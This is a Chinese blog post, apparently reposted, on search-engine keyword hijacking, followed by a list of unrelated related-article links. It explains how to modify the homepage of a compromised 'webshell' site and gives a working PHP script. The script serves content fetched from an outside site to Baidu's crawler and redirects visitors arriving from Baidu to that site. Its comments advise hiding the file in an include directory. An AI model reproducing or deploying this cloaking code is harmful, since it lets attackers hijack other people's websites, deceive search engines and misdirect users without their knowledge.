摘要:其实原理很简单: 搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){ 输出指定内容 } if(用户是从搜索引擎点击进入网站的){ 跳转我们希...

其实原理很简单:
搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断:

if(来访者是蜘蛛){
输出指定内容
}
if(用户是从搜索引擎点击进入网站的){
跳转我们希望跳转的站点B
}

所以我们可以达到如下效果:
针对蜘蛛来说,如果来访者是指定的蜘蛛,那么输出希望让蜘蛛看到的内容,如果来访者不是蜘蛛,则输出希望给正常用户看到的内容。正常用户在浏览器地址栏输入网址访问网站A,看到正常的首页,如果用户点击百度的搜索结果中的链接进入网站A,则跳转我们要做SEO的站点B。
表达能力有限,说了这么多也不知道大家明白没有。。。
那好吧,下面我来上代码,大家可能一看就懂了。代码很短,也很容易理解。

<?php
################################################
# 可以把本文件放在类似inc、include这样的目录中 #
# 首页require_once('本文件路径');就可以了 #
# 这样会比较隐蔽 #
################################################
if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) {
//判断搜索引擎,这里是百度,可以自行添加蜘蛛
/*
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: http://www.yunsec.net/");
//这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话...
*/
$file = file_get_contents('http://www.yunsec.net/forum.php');
echo $file;//输出指定文件内容
exit;
}
//判断来路
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用户来自baidu.com
//Header("HTTP/1.1 301 Moved Permanently");//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用
Header("Location: http://www.yunsec.net/");//跳转
exit;
}
?>

搜索引擎关键词劫持之php篇(源码与分析)的更多相关文章

  1. 搜索引擎关键词劫持之asp篇

    摘要:关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断... 黑帽S ...

  2. 搜索引擎关键词劫持之.net篇

    摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax. 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=tex ...

  3. 通过解读 WPF 触摸源码,分析 WPF 插拔设备触摸失效的问题(问题篇)

    在 .NET Framework 4.7 以前,WPF 程序的触摸处理是基于操作系统组件但又自成一套的,这其实也为其各种各样的触摸失效问题埋下了伏笔.再加上它出现得比较早,触摸失效问题也变得更加难以解 ...

  4. JDK(十)JDK1.7&1.8源码对比分析【集合】ConcurrentHashMap

    前言 在JDK1.7&1.8源码对比分析[集合]HashMap中我们对比分析了JDK1.7和1.8版本的HashMap源码,趁热打铁,这篇文章就来看看JDK1.7和1.8版本的Concurre ...

  5. MapReduce的ReduceTask任务的运行源码级分析

    MapReduce的MapTask任务的运行源码级分析 这篇文章好不容易恢复了...谢天谢地...这篇文章讲了MapTask的执行流程.咱们这一节讲解ReduceTask的执行流程.ReduceTas ...

  6. MapReduce的MapTask任务的运行源码级分析

    TaskTracker任务初始化及启动task源码级分析 这篇文章中分析了任务的启动,每个task都会使用一个进程占用一个JVM来执行,org.apache.hadoop.mapred.Child方法 ...

  7. MongoDB源码分析——mongod程序源码入口分析

    Edit 说明:第一次写笔记,之前都是看别人写的,觉得很简单,开始写了之后才发现真的很难,不知道该怎么分析,这篇文章也参考了很多前辈对MongoDB源码的分析,也有一些自己的理解,后续将会继续分析其他 ...

  8. FFmpeg的HEVC解码器源码简单分析:解析器(Parser)部分

    ===================================================== HEVC源码分析文章列表: [解码 -libavcodec HEVC 解码器] FFmpeg ...

  9. LinkedHashMap 源码详细分析(JDK1.8)

    1. 概述 LinkedHashMap 继承自 HashMap,在 HashMap 基础上,通过维护一条双向链表,解决了 HashMap 不能随时保持遍历顺序和插入顺序一致的问题.除此之外,Linke ...

随机推荐

  1. 【代码笔记】iOS-判断有无网络

    一,工程图. 二,代码. RootViewController.h #import <UIKit/UIKit.h> @interface RootViewController : UIVi ...

  2. Runnable,Thread实现多线程以及Runnable的同步资源共享

    (一) 实现多线程有两种方式 (1) 继承Thread类,重写run()方法,如以下例子 class MyThread extends Thread{ public void run(){ // } ...

  3. 面试题整理:SQL(二)

    1. 现有广告合同表Orders,表示广告在哪个广告位的哪几天需要播出 OrderID Positioncode Startdate Enddate 1 A 2015-11-01 2015-11-03 ...

  4. ADO.Net(三)——数据库操作类

    操作数据类 避免代码重用.造对象太多.不能分工开发 利用面向对象的方法,把数据访问的方式优化一下,利用封装类 一般封装成三个类: 1.数据连接类 提供数据连接对象 需要引用命名空间: using Sy ...

  5. javax.servlet.ServletException cannot be resolved to a type错误解决方法

    在页面中使用全局路径时${pageContext.request.contextPath}出现javax.servlet.ServletException cannot be resolved to ...

  6. IO系统性能之一:衡量性能的几个指标

    作为一个数据库管理员,关注系统的性能是日常最重要的工作之一,而在所关注的各方面的性能只能IO性能却是最令人头痛的一块,面对着各种生涩的参数和令人眼花缭乱的新奇的术语,再加上存储厂商的忽悠,总是让我们有 ...

  7. 腾讯开放平台 IOS应用URL schema、Boundle ID填写 (含微博、微信)

    解释如下: qq比较麻烦点,需要两个 URL schemes 1.QQ+appID(appid原本是10进制的,需要转换16进制,网址:http://tool.oschina.net/hexconve ...

  8. date

    更改时区 用系统备好的时区文件覆盖掉当前的配置文件,/etc/里装的是当前系统的配置文件 $sudo cp /usr/share/zoneinfo/Asia/Chongqing /etc/localt ...

  9. expr

    将变量的值当作数值处理而不是字符串,shell支持6种算术运算符:加+, 减-,乘\*,除/, 取余%, 括号\( \),每种算术运算符的两边都要有空格 $echo "Res = $(exp ...

  10. IIS 500.19 错误

    HTTP 错误 500.19 - Internal Server Error 错误代码 0x80070021 配置错误 不能在此路径中使用此配置节.如果在父级别上锁定了该节,便会出现这种情况.锁定是默 ...